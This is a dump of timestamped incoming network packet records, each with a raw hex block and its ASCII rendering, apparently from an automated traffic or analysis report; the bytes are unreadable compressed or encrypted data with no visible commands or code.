ac f5 d0 cf 97 b3 d3 78 58 38 9b 35 73 fb 58 f6 58 e5 c8 34 9b 6f 80 39 b0 79 10 fb 73 31 14 74 3d ae f3 f7 b7 e6 6b 04 3d 
ae c3 ff b7 e6 73 7c 3d ae 53 fe a1 2c ce 7c 3f ae 51 e0 3f a1 11 da e3 15 c9 51 43 17 42 1f 8c 54 c9 51 4a 26 11 96 89 
ad d1 9c 02 ed 2e 97 c1 5a ee 67 c2 5a 95 a8 01 99 56 
Data Ascii:  WXd;m7/pc8+3K}vM-`MIMc^H>btavI"jE<f4}`~|6~)) afP0s;sxX85sXX4o9ys1t=k=s|=S,|?Q?QCBTQJ&.ZgZV

2022-02-08 23:07:10 UTC 79 IN Data Raw: ca 19 67 77 da 93 a7 7d 55 dd 29 62 1f 43 da 49 d2 9e 19 8a 94 9d d5 cc 76 a1 e9 f0 fd e9 6f db b5 67 70 54 
fd e1 8b df b3 77 78 5e f9 f8 bb 8d d2 c2 77 4e 11 e8 a5 8f d2 2b ed 82 5d 63 e9 ca 4d e9 29 c0 07 77 da eb 96 ba 19 28 
d0 b9 d5 6e fa 84 e9 52 b2 48 62 1c 24 bb 49 38 f6 78 8a 12 d2 ba 49 d1 9a b7 c6 99 9e ff d6 13 5e f5 9c 8d ad de 1b 44 
6e 1d 5d 47 a2 5b 21 7a 9e 67 aa 34 08 94 21 7c 04 bf 66 b3 c7 7c 4c cc 05 bf 8f 84 08 30 c7 80 40 20 4d 40 4a 6a d3 b3 
61 64 1f 70 a2 22 1c bc e4 e1 dd 7f 27 6a 93 f1 d4 41 00 3e 17 82 46 3d db c4 6a ff 18 07 40 a8 da c4 83 e0 d7 4b cb e4 
9f 5b 41 24 95 d4 0f aa 8a 9e 91 59 a1 30 4e 9a 62 76 4d 56 24 d5 70 6a 18 5e 38 ec 33 d1 70 6a c8 99 e6 75 49 d3 71 
b6 9a 5c 3f 30 69 d7 77 3c 42 bd a6 ff 81 97 28 3d 42 54 60 
Data Ascii: gw}U)bCIvogpTwx^wN+]cM)w(nRHb$I8xI^Dn]G[!zg4!|f|L0@ M@Jjadp"'jA>F=j@K[A$Y0NbvMV$pj^83pjuIq\?
0iw<B(=BT`

2022-02-08 23:07:10 UTC 81 IN Data Raw: 1d ee 2e 82 53 5d ec ca 46 61 3a f6 b5 a6 f9 be ae e0 fa 72 e8 ad 39 b1 2b 22 71 37 30 a9 39 b9 1b e1 2c 85 
cd c7 df 42 0e 8f c4 04 0d 39 7f 8b 45 b5 84 00 0d 23 97 8a 45 ee 11 7a 46 d2 c7 52 b5 15 04 1a ae 53 07 ac 33 dc 4f 20 
b0 57 07 b6 ab dd 4f 7b 2d 2d 4c 47 fb 3f bf 80 38 77 a4 c6 3b c1 23 49 73 45 d0 c2 3b d3 f3 49 73 5d d8 75 a5 6f 2b b2 
66 27 30 f4 65 91 df 7e 2d 07 1c f5 65 89 3f c9 b3 bf d3 0e 70 f7 c8 48 73 41 13 c3 3b d5 f8 48 73 5b d3 74 a5 79 3f b3 66 
31 24 f5 65 87 e3 bf 91 af 1f 34 d1 08 f8 b7 12 83 b0 33 f9 0c f8 bf 7a 83 b0 3b a1 08 f8 af 6a 83 b0 23 b9 08 fa a4 5e f3 
71 ec da 10 fa a6 5d f7 09 2d 15 73 fa a6 5f f4 1d 4d d4 bc 99 b6 5f f6 1e 51 bc dd 65 66 80 e1 ee 2e 06 ca 65 6e a1 2d 
8e ad 2e 65 00 8e a1 2d 86 9d 2a 65 10 86 a1 2d 9e 
Data Ascii: .S]Fa:r9+"q709,B9E#EzFRS3O WO{--LG?8w;#IsE;Is]uo+f'0e~-e?pHsA;Hs[ty?f1$e43z;j#^q]-s_M_Qef.en-.e-*e-

2022-02-08 23:07:10 UTC 83 IN Data Raw: 06 89 9a c8 82 a3 2b f4 be 9f a9 8e 7b 5c 6a 4d fd 16 af cf b5 14 24 87 2a f3 f7 0c 62 44 10 d7 e9 0c af 30 0a 
83 e7 87 ed 68 65 1b ed 67 50 19 29 1c 93 da ea df 5f 8c e9 dd 75 4c d5 df b5 4e 2b 9c 76 8d e8 2c b0 cd eb ed 98 18 15 
2e 5a db d6 9e 9c 9b d5 5e b4 52 2b 9d 77 90 e8 2d bc d0 eb ea f6 11 1b e9 f6 6a c8 2a 35 a9 c8 25 75 90 08 93 95 e1 ca 
68 47 57 14 93 d5 95 a2 48 9c 17 63 89 9d 7c 5e 3f 51 8c 5d 7c eb 4d 61 b0 bc 4e e3 fa 7f be e0 fa 04 6d 23 39 c7 6d 2c 
36 4c 27 b3 d1 87 a8 f9 56 60 73 b3 c1 87 a0 25 54 13 2b 6d 7b 98 6b 42 98 68 73 b2 ad 2e 62 7e ea 83 a0 bd 29 08 ee 
07 e2 40 62 3c 65 08 f6 f7 ea 40 3a b1 e0 8c 7d 68 22 4f be 28 18 8b 72 64 52 48 b1 a7 e5 fd 8d ad 52 5a b1 a7 e5 d6 8d 
ad 52 2f b1 a7 e5 c9 8d ad 52 1a b1 a7 9e 5c 7a 65 5d 9f 
Data Ascii: +{\jM$*bD0hegP)_uLN+v,.Z^R+w-j*5%uhGWHc|^?Q]|MaNm#9m,6L'V`s%T+m{kBhs.b~)@b<e@:}h"O(rdRHR
ZR/R\ze]

2022-02-08 23:07:10 UTC 85 IN Data Raw: 6d 0e bc 44 ae 4e 86 88 62 02 5e 4a a1 c1 16 9e 27 89 1a 10 6f 8c 90 58 60 88 17 bf 83 4a d4 7c 40 61 af 5a 
7c 5d e9 59 b0 1b 87 9a 73 d8 08 d4 f5 23 8a 9c e1 a9 c2 91 ca 0b f9 ad f6 21 71 91 ca 1d 39 55 41 53 af ae cf 1b aa 24 
87 14 e0 a2 7c 3f 6f 60 bf fc 45 91 83 c0 79 d9 57 4f 37 57 74 c1 7f 52 fe 89 70 79 bf bc 4c 45 f9 bf fa ed 7e f7 44 ce f1 b9 
c2 35 7b f1 cf b7 33 e5 e4 43 0a d9 d8 6b 9b 91 0c e4 d5 1f 2f 6a 9d 1a a5 22 92 31 f6 1a ae 0d b0 19 18 8f 37 51 a6 ac 
b8 1f 20 57 32 57 2d d5 7a 43 06 ab 45 7f 3a 83 ae 37 ee 0c e0 b9 cd 82 a8 bc 47 ca a7 97 06 0d 64 54 40 0e d2 80 c7 
46 6c a3 48 08 ea 58 c2 40 e7 da 8a 54 cc d2 b3 68 f0 94 b0 df 0d 1f f8 59 3e 94 c4 df 15 a8 c1 54 55 ab 3a df 1f 2d 09 5d 
e7 1b c5 1c 7f 25 f9 20 04 e1 3a e3 c7 6e 74 7c 20 
Data Ascii: mDNb^J'oX`J|@aZ|]Ys#!q9UAS$|?o`EyWO7WtRpyLE~D5{3Ck/j"17Q W2W-zCE:7GdT@FlHX@ThY>TU:-]% 
:nt| 

2022-02-08 23:07:10 UTC 115 IN Data Raw: 94 05 47 9b bc dc 0f a8 94 1a 72 62 57 d9 b1 e9 1f d5 9a 5d f0 17 59 15 f5 3f 9f 6e 21 fc 5c ad aa b4 c3 4a 39 
3f 8b e5 de 9c 00 ad 69 7b ab 26 29 7c 48 a4 b5 fe d5 26 2b 7c 4a ba 2b 73 0a 00 f4 b0 bc cd b4 0a 5f 0e 02 c1 5b cf ce 
02 98 0c e6 c7 9c cd 36 04 5f 0e c6 07 5f 01 c9 08 d4 4b 56 ef 1f c0 1c 58 f8 13 88 d3 b8 3c 6b 9b 02 f7 23 2a c9 79 6b 39 
46 31 72 b2 0e 2b 8a 8f b8 e3 08 c5 03 28 23 83 d8 eb e0 ab 33 c0 09 70 f0 03 87 38 f1 43 bc 04 47 8c 3e 4e f6 47 b5 06 
e6 cd fd 0e ce 04 7f 44 77 cf f5 0c 67 44 bd 04 4c e4 67 c7 8f 6f 2f 58 68 9c a4 10 df 7b 5f 9b 9f 7c bc 07 9f 73 b3 08 14 
39 2c ef df b2 66 58 38 61 f2 d3 78 4e 71 58 30 54 fa 16 bf b3 19 9c f7 88 92 d4 c6 a3 4f 11 05 60 09 12 b3 92 82 5c 24 75 
61 d7 6c 7d 4a 91 aa be 89 1a e4 31 6e f9 ac 
Data Ascii: GrbW]Y?n!\J9?i{&)|H&+|J+s_[6__KVX<k#*yk9F1r+(#3p8CG>NGDwgDLgo/Xh{_|s9,fX8axNqX0TO`\$ual}J1n

2022-02-08 23:07:10 UTC 117 IN Data Raw: 13 c0 0e 00 2f fc 32 cc a9 ba 31 71 38 3c 79 71 70 fd fb 39 bd 7f c7 3d 33 31 72 fa b9 fd 1e f1 32 3d 15 73 7a 
3f 9e b3 71 b0 d6 b9 33 92 ea 85 0f 5e a0 4c 84 1e a1 8b 0e 1c 8b 54 89 e4 77 eb 85 62 31 e1 32 b8 b6 23 fb f0 77 61 1a 
cc 4b 5d d6 ce 60 82 5d 80 f1 45 da c8 fa 03 d9 7e de 84 91 ba 5c b8 90 31 1c bd 57 b7 e4 ae 9b f8 55 92 a7 c4 de da af 
ef 3d 0a 6c 2c 75 de 47 ca 92 1d 84 41 da 09 af b3 09 ca 6c f3 32 f6 db 20 bd be db ab f5 aa 50 e3 fd 81 e9 31 3e 42 c1 f0
ce 41 4a b8 51 a6 c9 33 19 09 2e b8 92 41 99 5f 01 ca d9 58 e2 48 45 da 7f d4 45 d5 f4 9e da 32 3f 15 90 85 d8 c6 1b cf 
67 21 c0 59 e5 b4 42 cd 6e fc 6d 46 2e d3 fe 06 d4 10 70 4e ef 9b 38 57 59 48 b3 1f 50 c2 fb 0c 7b ca 1f cf b8 e0 9d 0d 7b 
23 dd f4 b8 94 f0 7f f0 86 7b 31 7e ad 50 03 98 
Data Ascii: /21q8<yqp9=31r2=sz?q3^LTwb12#waK]`]E~\1WU=l,uGAl2 P1>BAJQ3.A_XHEE2?g!YBnmF.pN8WYHP{{#{1~
P
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2022-02-08 23:07:10 UTC 119 IN Data Raw: f4 28 3a 02 c9 1d 06 3e 81 06 40 3d 4d 40 4c fd 8e 83 c7 b3 00 d7 4d fb 15 fc 5a 26 d6 3f 12 3d 90 3c de 7b 
e3 fc 1d b8 68 b2 93 d4 e3 fa 87 ff 9e 27 44 3c d6 3c 02 3f 1a 7a 50 ff d9 b9 18 7b 12 f1 15 31 a4 85 97 cb 21 4e dd 7d 7d 
82 8b 7f 37 0c ab f4 79 82 c7 df ec bd fb e3 6b f3 53 3b ec bb 58 40 bc 5c d2 11 3e 68 f8 93 fe 7a fa aa 39 32 f3 a8 13 ee 
33 ba bb ff ec 3d 53 f6 6a c5 5d 48 90 43 b5 62 1f 0d 33 36 94 43 bd 62 16 0b ab 49 35 c3 68 8a 7d d8 2e 89 b1 9e cb 49 
72 5d 44 07 f4 31 cf 49 7a 5d 4d 01 6c 76 48 c9 af b5 00 d2 e9 b6 cc 94 26 76 0f 57 0e b6 88 1f 23 fe 3e 73 a4 b6 80 27 
2f f8 0e 4b 13 f5 8c 77 1f 73 c4 53 55 c5 68 d4 bd e0 ea 9c aa cb df 73 69 08 97 68 2f 0b 5b 2e 30 ca 98 ed bb 84 0e 81 
30 ca 80 d5 bb 6a 9d 5f 1b 56 16 15 85 72 3d bf b4 
Data Ascii: (:>@=M@LMZ&?=<{h'D<<?zP{1!N}}7ykS;X@\>hz923=Sj]HCb36CbI5h}.Ir]D1Iz]MlvH&vW#>s'/KwsSUhsih
/[.00j_Vr=

2022-02-08 23:07:10 UTC 121 IN Data Raw: ed 0d 1b b9 67 4d 19 86 ed 0d 18 b9 63 43 cf e8 ed 0d 00 ba c5 d2 82 f2 07 d0 a7 2a 89 9e 2d 15 c1 95 3f 3e 
81 b7 fd f6 84 35 b7 37 0a 7b 26 08 42 49 1a 01 f8 6a 91 a1 30 e1 d9 21 e3 6a 97 ee a8 ed 6d 2e 16 20 ea c6 d6 d0 fb 4c 
d4 f3 3a 67 3d 27 f8 a4 75 a3 33 2f 3d ab 79 af f6 80 82 6f 35 43 72 6c be 0b ed 8b 4d 80 a5 3c aa 7b 2e 7c ad 98 b2 7c 
a2 97 39 36 3d 70 f2 bd 77 c7 15 6e e3 4c 55 41 00 bc 4d ca 48 85 c6 82 7a 0e 3e 8b cd c4 15 7f e2 f8 29 39 e1 4e e5 c3 
3d f9 20 39 a0 32 ec 6e a0 78 70 a5 50 7b fb ed cf 9c 08 66 87 2b ef 9d 0c 6b e8 7e 90 6b 6f 36 52 e4 27 3f d9 ac 35 b9 
21 6e 88 7c 5a ac 4b bf 99 ac f5 78 d9 a7 c9 78 5b e9 4a 44 d0 49 41 cf 98 c8 92 44 d6 1f d9 ce 9e 9d 0a 41 d0 52 41 b1 
d3 d4 07 b2 6e 0f 88 5a 67 8d c0 95 b5 77 09 21 bd c6 1b 
Data Ascii: gMcC*-?>57{&BIj0!jm. L:g='u3/=yo5CrlM<{.||96=pwnLUAMHz>)9N= 92nxpP{f+k~ko6R'?5!n|ZKxx[JD
IADARAnZgw!

2022-02-08 23:07:10 UTC 123 IN Data Raw: 9f 71 1a 2d 20 65 32 e8 24 a1 f0 2b e7 62 00 28 6c 2a 9f cf 9f a1 d7 78 78 22 5c 38 7f c1 c0 38 70 ce 4b 78 5f 
25 cc 30 56 0e 2f 0f 6a 32 a4 47 e8 e1 54 56 6a a3 76 6a 56 9f ba ed 1c 54 31 a5 9e 87 cb 76 52 d1 ca 3c 80 5a 8a 3b 6b 
5a 01 73 6c d1 4b e8 a7 5a 01 5b 74 d1 4b e0 af 47 c9 75 2d d3 42 3b 86 a8 c9 79 a9 5b 0b ba 6a d0 4b 1d 8d 5b 88 96 
c3 dc 6f 05 4c 94 56 8e 06 13 b1 0d 8d 5d 37 2e 06 15 05 a5 4c 92 e2 5e c7 dc 64 2d 48 92 ea 6e c3 d8 6d 89 30 53 23 
0f 0b dc 6d 88 ec 77 e6 c2 6b 90 0d 49 25 16 06 c2 6b 80 5d 49 25 0e 8e c2 6f 89 69 21 44 fb 56 1d 78 bd 55 d1 3e 74 93 
12 fd 0f 06 84 6b 99 89 ca ed a2 02 82 e0 96 ef ca d9 94 c3 16 19 ad 44 5e 2d 2b ec 6b f2 a9 a4 7e d9 4f 55 bd 1a 07 4e 
fb 19 cb 08 a8 de 08 cb 23 90 9e b8 a8 d8 93 93 a4 f8 af af 
Data Ascii: q- e2$+b(l*xx"\88pKx_%0V/j2GTVjvjVT1vR<Z;kZslKZ[tKGu-B;y[jK[oLV]7.L^d-Hnm0S#mwkI%k]I%oi!
DVxU>tkD^-+k~OUN#

2022-02-08 23:07:10 UTC 125 IN Data Raw: df e7 d3 90 f4 38 35 ac c8 04 f9 e6 0c 8e b1 63 df c6 7e a3 54 66 7b 2d 1a b1 3c a3 e2 ab 82 5e 65 e3 a0 d4 
2d 66 73 55 65 a9 18 d7 2d 68 92 eb 2b e2 5e 87 24 69 10 50 af eb 58 53 24 2b 4b 1b 25 a0 49 32 fa 46 75 0e c6 8a f2 46 
c7 08 b8 87 4d 48 b9 40 c3 b0 93 ff ca 3f db 58 2d cc 5d 1e 2e 7b bc 9c 66 b2 3e d4 65 39 fe df 2d 3b 75 dd 07 e4 93 e1 
3b d8 5f 66 73 da dd 2c b2 54 93 bd 75 12 99 0b 68 52 9c ca e3 12 98 01 68 52 98 c6 e2 6e 98 4d de 60 54 0b 52 5c 68 
37 d9 12 e7 d0 3a 39 d0 e1 06 05 5b af 89 e2 b8 25 c1 f6 93 35 05 35 50 be 4b ba b7 5d 60 70 99 61 5c 80 9a ee 12 1f 7d 
6d 98 57 e5 9e 12 1f 4d 65 98 57 fd e6 12 1f dd 64 8e 9d 40 e6 10 1f df 7a 10 10 54 32 17 9b 1e a9 dc 10 54 1a 0f 9b 1e 
a1 d4 0d 9c 34 56 99 17 7a fd fb 9c 38 d2 88 5f fb 11 c0 85 
Data Ascii: 85c~Tf{-<^e-fsUe-h+^$iPXS$+K%I2FuFMH@?X-].{f>e9-;u;_fs,TuhRhRnM`TR\h7:9[%55PK]`pa\}mWMeW
d@zT2T4Vz8_

2022-02-08 23:07:10 UTC 127 IN Data Raw: bc 11 5f 39 7f d2 b7 09 f9 22 af 8b e9 01 2d b7 e2 83 11 be 68 23 18 31 26 ec 53 8a c6 6e 1b 48 8e 66 53 5b 
9e 4d 1b 56 1c 5d 3b d4 fc 4e b9 1c fc cc 85 15 7b 84 9c 97 31 46 12 d9 bb 79 a8 c7 31 31 a5 ec a0 19 99 d0 2b 5f a5 67 
e5 d4 eb e8 02 37 60 a0 16 1c 8f 63 d5 df 7f 56 5e 91 f0 b1 bd ba 53 97 81 86 1b 92 0a ce 84 75 99 45 cc da 7e de 47 92 
c9 39 e4 19 81 86 03 b2 0a c6 04 31 88 5b 04 3e 87 54 8f 76 46 db c7 b4 c9 93 4d 7f 46 db df ac cd 91 1d 27 85 10 d6 ac 
cf 92 1d 27 87 13 ce ac cd 91 1d 23 87 50 92 69 0e 9b 1d 23 9f 48 1d 2c 90 47 9e bc 1b 07 b1 5f 90 4f a8 d4 68 46 1f 1e 
43 80 08 22 7f c6 0b 94 ba 86 ab 5f 79 76 a8 d4 39 71 4b 4c 39 7e c0 06 a6 99 0b 92 2d d9 24 71 a6 91 3d 39 74 1a 75 
03 48 1b 8f 93 8f a5 40 18 c7 ad 6b 10 ee 91 57 56 ed 27 e2 
Data Ascii: _9"-h#1&SnHfS[MV];N{1Fy11+_g7`cV^SuE~G91[>TvFMF''#Pi#H,G_OhFC"_yv9qKL9~-$q=9tuH@kWV'

2022-02-08 23:07:10 UTC 159 IN Data Raw: 1c 9e 36 7e b4 19 ce 4e 0a fe 44 ee 0f 75 0a 51 e8 c6 88 b9 f5 4d c6 76 76 c6 88 89 7a 4d c0 85 51 2f de b9 
6d a4 9e bd b6 2f a2 b5 00 03 29 fb 8e 48 02 b7 90 74 3e ff 95 5e fa 38 56 9d 75 76 b8 6b 79 4a 84 43 93 0a bf 81 25 c7 
94 07 f8 04 57 88 b6 ea 5e 55 75 29 76 80 5e ad ab 43 9d e5 b0 05 9e 29 f6 63 5e ea 35 ec 10 04 64 30 d3 c7 ef 7e 5c 20 
6c f1 16 8f 8b 02 3d cb 86 3e 01 83 9d 78 02 4f db 3e c2 8c 18 b5 8c 03 ff 36 76 45 cc e2 b5 86 7a 09 3f ce 6d 22 e8 df 51 
1e a0 c4 17 1d 6c 82 88 dd af 41 07 93 21 0a 8c dd b6 ed 0f 53 fe ea 84 1b f3 c1 11 03 cf fd 39 d9 b6 3f fa 1a 75 14 63 3e 
49 28 ec 70 cf 63 66 38 d8 e8 2e 35 f3 08 0f 09 cf 40 14 4f cc 8c 52 af 0c 4f 91 25 ac 4a 1a 6b 63 c9 91 25 e4 2e 22 ae aa 
e9 29 25 e4 67 62 ae ac 74 e9 e4 2b 93 02 cf 24 
Data Ascii: 6~NDuQMvvzMQ/m/)Ht>^8VuvkyJC%W^Uu)v^C)c^5d0~\ l=>xO>6vEz?m"QlA!S9?uc>I(pcf8.5@ORO%Jkc%."
)%gbt+$

2022-02-08 23:07:10 UTC 161 IN Data Raw: 90 5d dd bd 53 d6 93 2b f0 5d dd a5 4b 76 66 b2 77 4a 2e a9 31 49 e2 ef d8 8f 21 2c 57 c1 a7 f7 dc 8f 31 7c 
57 c1 bf 8f 7c 5f a8 b3 40 17 b3 f5 43 db f5 39 85 18 36 b2 cb 8f d1 01 40 c1 5f ba 6b 97 6c 86 57 df 77 c0 54 13 31 f4 93 
d0 f2 7b dd 57 15 c8 56 19 83 e3 dd 57 0c 04 6e 7c 33 78 52 40 7b 63 14 43 b7 25 0d 84 74 e6 86 ca e3 01 35 41 ad 8e 
d2 f2 86 12 e1 ce ba 5a fa 88 b9 96 bc 8a 7e 55 7f 05 30 d2 98 b6 bb 9c 0e 45 30 d2 81 a2 83 f9 84 de bf c5 cc c5 f9 c6 
00 83 9e 01 c3 40 15 4f 55 0b 9e 01 db a8 b5 e9 e8 94 89 a1 f3 d2 8a 6d b5 9c 4d ae 76 13 03 28 3d 98 4d be fe 13 03 
30 b5 38 54 4c 89 04 1c 57 cf 07 d0 11 7e c0 13 d2 f5 8e 85 99 7e c0 0b d2 55 fa 27 ee 69 b2 3c a8 6a 7e 7a 30 ad bd b9 
bf e3 3b f2 34 ad ad 79 bf e3 23 32 94 42 5f 0e a8 0a 44 48 
Data Ascii: ]S+]KvfwJ.1I!,W1|W|_@C96@_klWwT1{WVWn|3xR@{cC%t5AZ~U0E0@OUmMv(=M08TLW~~U'i<j~z
0;4y#2B_DH

2022-02-08 23:07:10 UTC 163 IN Data Raw: c9 8c 36 19 8f c0 f4 da 4c 88 30 51 04 04 e3 de 4c 81 30 55 04 17 54 da 4c 99 40 32 4c d3 c6 06 04 16 8c 98 
00 fe 8c d2 9e aa c6 54 52 ec de e9 b3 6b 96 f9 fb a9 1d b9 f9 6e 57 78 7b 26 94 f2 3b 25 53 70 71 e7 d8 3e e0 20 56 70 
6a e7 dc 4c 63 51 fe c7 2b c7 3a 40 63 cf c2 9c dd 18 8a 5e 5f 24 88 d5 11 ae 4f 9f d0 25 01 0e 17 a2 f9 c2 a8 8d 72 8a 
26 51 3a 9a de 8c 84 4a 5c c4 47 76 5d 4a 09 f5 9a 00 cb 7e d4 8a 0c 86 01 35 22 0d 4f bb 76 26 8e ab 4a 1a 05 e5 c4 1e 
2e df d5 22 12 50 9b a4 f6 db d5 32 f2 50 9b bc a6 7b 80 b4 9a 47 c6 b7 56 01 d0 74 95 c2 5f 3a 13 de d4 74 85 12 5f 3a 
0b 26 74 46 03 1a 48 00 00 d6 0e 7f c3 15 cd f0 8d 93 a1 7b c3 05 f5 f0 8d 8b c1 db 64 98 fd e7 22 9b 31 a1 42 58 f2 62 
cd 16 74 36 46 58 e2 32 cd 16 6c fe e6 c4 7f c2 da 82 7c 
Data Ascii: 6L0QL0UTL@2LTRknWx{&;%Spq> VpjLcQ+:@c^_$O%r&Q:J\Gv]J~5"Ov&J."P2P{GVt_:t_:&tFH{d"1BXbt6FX
2l|

2022-02-08 23:07:10 UTC 165 IN Data Raw: a7 f4 25 d8 ef ef 63 db 23 a9 6a 19 e0 6a e1 57 76 76 6a 19 f8 92 41 69 8f ae 7d 21 94 e8 7e ed d2 98 bc 2e 
11 13 f2 b8 25 98 bc 36 d9 b3 e3 41 e5 8f ab 5a a3 8c 67 1c fc 4e a4 df b2 dd 66 54 fc 53 62 7f e5 5f 5e 43 a5 e1 42 80 
18 40 c9 c8 9e 6c fc 0b 5c da 66 80 12 4c 7a 0b 5c c2 66 20 f9 c6 5a 1c b1 dd 1c 1f 7d 9b b5 dd be 58 4f 5b 72 e5 a8 d0 
3a 63 74 e5 f9 a1 c3 3d 76 ef 45 f1 fd a1 d3 15 76 ef 5d d9 5d bd 2b e5 61 f5 30 a3 62 39 76 21 a0 fa b5 aa ee 6c 79 21 
a0 e2 b5 0a 45 e6 89 36 0d fd cf 35 c1 bb 26 f7 02 78 0e ac 42 c6 3a 6f ff 67 b1 27 79 a3 84 e4 bb 15 1e 6f f5 83 2a e4 bb 
0d 1e cf 86 08 22 f3 ce 13 64 f0 02 55 a5 32 c1 96 5f b4 c5 2b b8 3f 8d ad ac 0a 4e 6f 1b d2 c1 21 9d d6 4a 6f 0b 32 c1 21 
85 36 ea cb f3 0a d6 83 e8 4c d5 4f ae 56 16 8c 6d 
Data Ascii: %c#jjWvvjAi}!~.%6AZgNfTSb_^CB@l\fLz\f Z}XO[r:ct=vEv]]+a0b9v!ly!E65&xB:og'yo*"dU2_+?No!Jo2!6LOVm

Timestamp
kBytes
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Direction Data
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2022-02-08 23:07:10 UTC 167 IN Data Raw: 9f e4 49 4b 98 6f 03 d0 53 e4 49 7b 80 6f 03 c8 5b e4 49 73 b8 66 dc f8 f8 49 5f 73 b0 73 d4 3d 3b 68 56 75 08 
e3 1e 5c 23 f9 73 60 1f bf 70 ac 59 f8 b3 6f 9a 73 fb 61 b1 c5 8c 5d 8d 42 c4 6e c5 51 ec fe 85 6c 2e 49 51 e3 60 ce b6 00 
eb 80 39 e7 08 c8 2c cc 8b b5 10 f0 c3 ae 56 f3 75 20 dd bd e2 c7 3e 32 aa c3 b5 7a a6 e8 e8 79 9a d4 a0 62 dc d7 16 96 
57 9f 00 1d 1f 93 2b e7 1c af 17 a7 27 93 a0 43 a8 db a4 c8 e0 cd 2f 80 ec e6 6e 82 d0 da ec ca c5 55 a2 4d 22 b6 2d 05 
2e 3d 65 09 05 85 70 35 39 cd 6b 73 3a 7a 3f f8 74 f5 d8 1b 5f 39 a6 27 63 71 a6 ac 2b ee 41 3f a0 a6 ee d8 3b 2d a6 6f 
dc 8e 2d 27 63 69 86 ac 23 6e 05 2e be 6e 0a 21 35 24 95 c6 fe af df 69 19 7c 54 23 ae 9b 8f b7 2c 0c 0d 21 ae 99 8f b5 
25 d9 a0 36 6d 18 2b 7e 54 92 8b 64 d3 da 41 ee 9b 
Data Ascii: IKoSI{o[IsfI_ss=;hVu\#s`pYosa]BnQl.IQ`9,Vu >2zybW+'C/nUM"-.=ep59ks:z?t_9'cq+A?;-o-'ci#n.n!5$i|T#,!
%6m+~TdA

2022-02-08 23:07:10 UTC 169 IN Data Raw: 89 7b b1 39 4a f4 ff ff 83 cc 3d 3c 08 82 f3 24 69 42 30 aa 21 4c 49 69 e3 8f 8a 6d 25 61 bd ac e6 a3 7e 6f 25 
88 dd 7c e6 4b 53 34 e3 03 45 bf ab 0e 6e 97 7b cd ad d9 f3 8a 86 65 89 49 45 ee c7 9f 0e b3 07 5c 81 fb 03 db c9 f0 89 
93 c5 db 30 43 06 18 78 58 40 1b c5 81 08 08 4e c9 04 23 7f be c7 e0 37 a5 81 e3 8a 6c c9 f0 01 24 c5 db 28 7f 06 18 68 
47 3a af d7 cc 74 71 16 0e b7 b2 9d 46 bf 99 d8 fc 7c 5a a2 23 bf 99 61 08 50 e3 a2 cb db ab aa b2 18 68 61 71 5e 6b d6 
b7 27 a8 05 74 e4 83 1c 83 27 40 97 cb 2f 6b f6 69 ec a8 8f aa 2f 63 4c 21 67 6b 67 c3 f8 a8 a4 e8 7b 72 67 2b 3d 71 d0 
e0 b6 39 d8 cb b9 e3 1b 08 f9 1d d1 d3 39 de 12 6e e4 f5 17 bf 27 36 99 f7 22 7e 8f 7c 6a 73 a4 86 ba b0 67 0d f4 7e 5a 
6f 34 bd 71 4d e3 7e b2 66 88 af 71 a5 a3 6f ab 66 60 
Data Ascii: {9J=<$iB0!LIim%a~o%|KS4En{eIE\0CxX@N#7l$(hG:tqF|Z#aPhaq^k't'@/ki/cL!gkg{rg+=q99n'6"~|jsg
~Zo4qM~fqof`

2022-02-08 23:07:10 UTC 171 IN Data Raw: 34 a1 69 b0 7a 32 d4 7c 91 f0 18 97 1b 23 d4 7d db ef 3f ff 38 23 d5 77 eb ef 3e fd 18 23 d4 7d fb ef 3f ff 78 23 
d5 77 8b ef 3e fd 18 23 d4 7d 9b ef 3f ff 38 23 d5 77 ab ef 3e fd 18 64 fe f4 d4 8e 7e 57 5f 4e 67 9b b5 c6 54 10 89 cd e2 
64 a1 82 69 24 8e 09 21 63 69 4a e2 a0 aa 00 65 47 51 8b 2d c0 b6 30 a6 8a 31 d7 55 c2 b6 30 e6 88 31 d7 0d 0f 7b 58 
ea ec f5 10 e1 6b bd 11 6a 23 af e1 60 08 e6 63 a3 cb 6d 23 a4 40 6d 2c 2f 00 42 a7 67 87 a5 1c 2d 00 42 e7 a6 48 c5 00 
15 c3 8f 87 f2 30 08 cd 7d d7 e3 4a 37 50 04 a9 b0 18 86 7a 3f 50 8f f1 77 82 a4 67 f5 41 67 ec b5 46 ec ec 37 0e ef 63 7f 
07 68 2b 7d 4f 7b a1 35 45 51 cf 0e 79 6d c0 81 31 72 4a cb a1 a1 c4 81 21 7a 4a cb a9 99 da 5d 3c 0d 58 c8 b7 4d 77 3b 
3c 05 76 bc 74 37 fc f2 e4 ec 77 ba ef c7 ad b5 
Data Ascii: 4iz2|#}?8#w>#}?x#w>#}?8#w>d~W_NgTdi$!ciJeGQ-01U01{Xkj#`cm#@m,/Bg-BH0}J7Pz?PwgAgF7ch+}O{5
EQym1rJ!zJ]<XMw;<vt7w

2022-02-08 23:07:10 UTC 203 IN Data Raw: f1 4a 39 e9 cd 49 bb aa 32 a2 78 1c 07 29 36 93 e0 ca bd db f6 e1 ba ea ca dd 31 a4 45 3a d2 8f b4 9b 11 4c 
3f d5 9e ab dc 9d 85 80 19 aa b9 bc 9b d1 65 7f 58 12 ee 37 53 5a fe 1c d2 68 c2 20 59 26 4d c7 ba 0d 72 f6 86 31 f9 be 
19 d6 6a 35 51 79 8d ae da 31 3a 49 79 ba 7a 4e fa 26 7a 41 f5 29 fc b1 ff af 0c b2 0f be 26 4a 33 82 1a 45 3c 8d 95 0d 
35 0b 65 0e c5 1a 4f e6 f9 26 73 e9 f6 29 f1 a1 f5 a6 b9 a8 73 56 ba e0 60 7c 61 dc 5c 40 ea 96 c3 a7 21 1d 89 10 c6 c6 
1f 84 44 50 9d 11 c6 c4 16 5f a9 23 b5 60 95 1f 3e 22 ba 7c f9 e1 79 f7 b9 46 9e 64 7a 06 f8 7f ba c5 3b bc fa 62 dc 3f 39 
92 e0 b1 71 a9 6b f9 6b 22 89 46 8c 81 02 08 4a 0b 2b ca 89 84 63 e3 0e ca e7 18 85 84 68 ff 2e 74 79 7d 66 46 f2 37 e1 
a1 79 1c a8 dc ba df 23 92 34 bd d3 83 b6 c6 ef 43 75 
Data Ascii: J9I2x)61E:L?eX7SZh Y&Mr1j5Qy1:IyzN&zA)&J3E<5eO&s)sV`|a\@!DP_#`>"|yFdz;b?9qkk"FJ+ch.ty}fF7y#4Cu

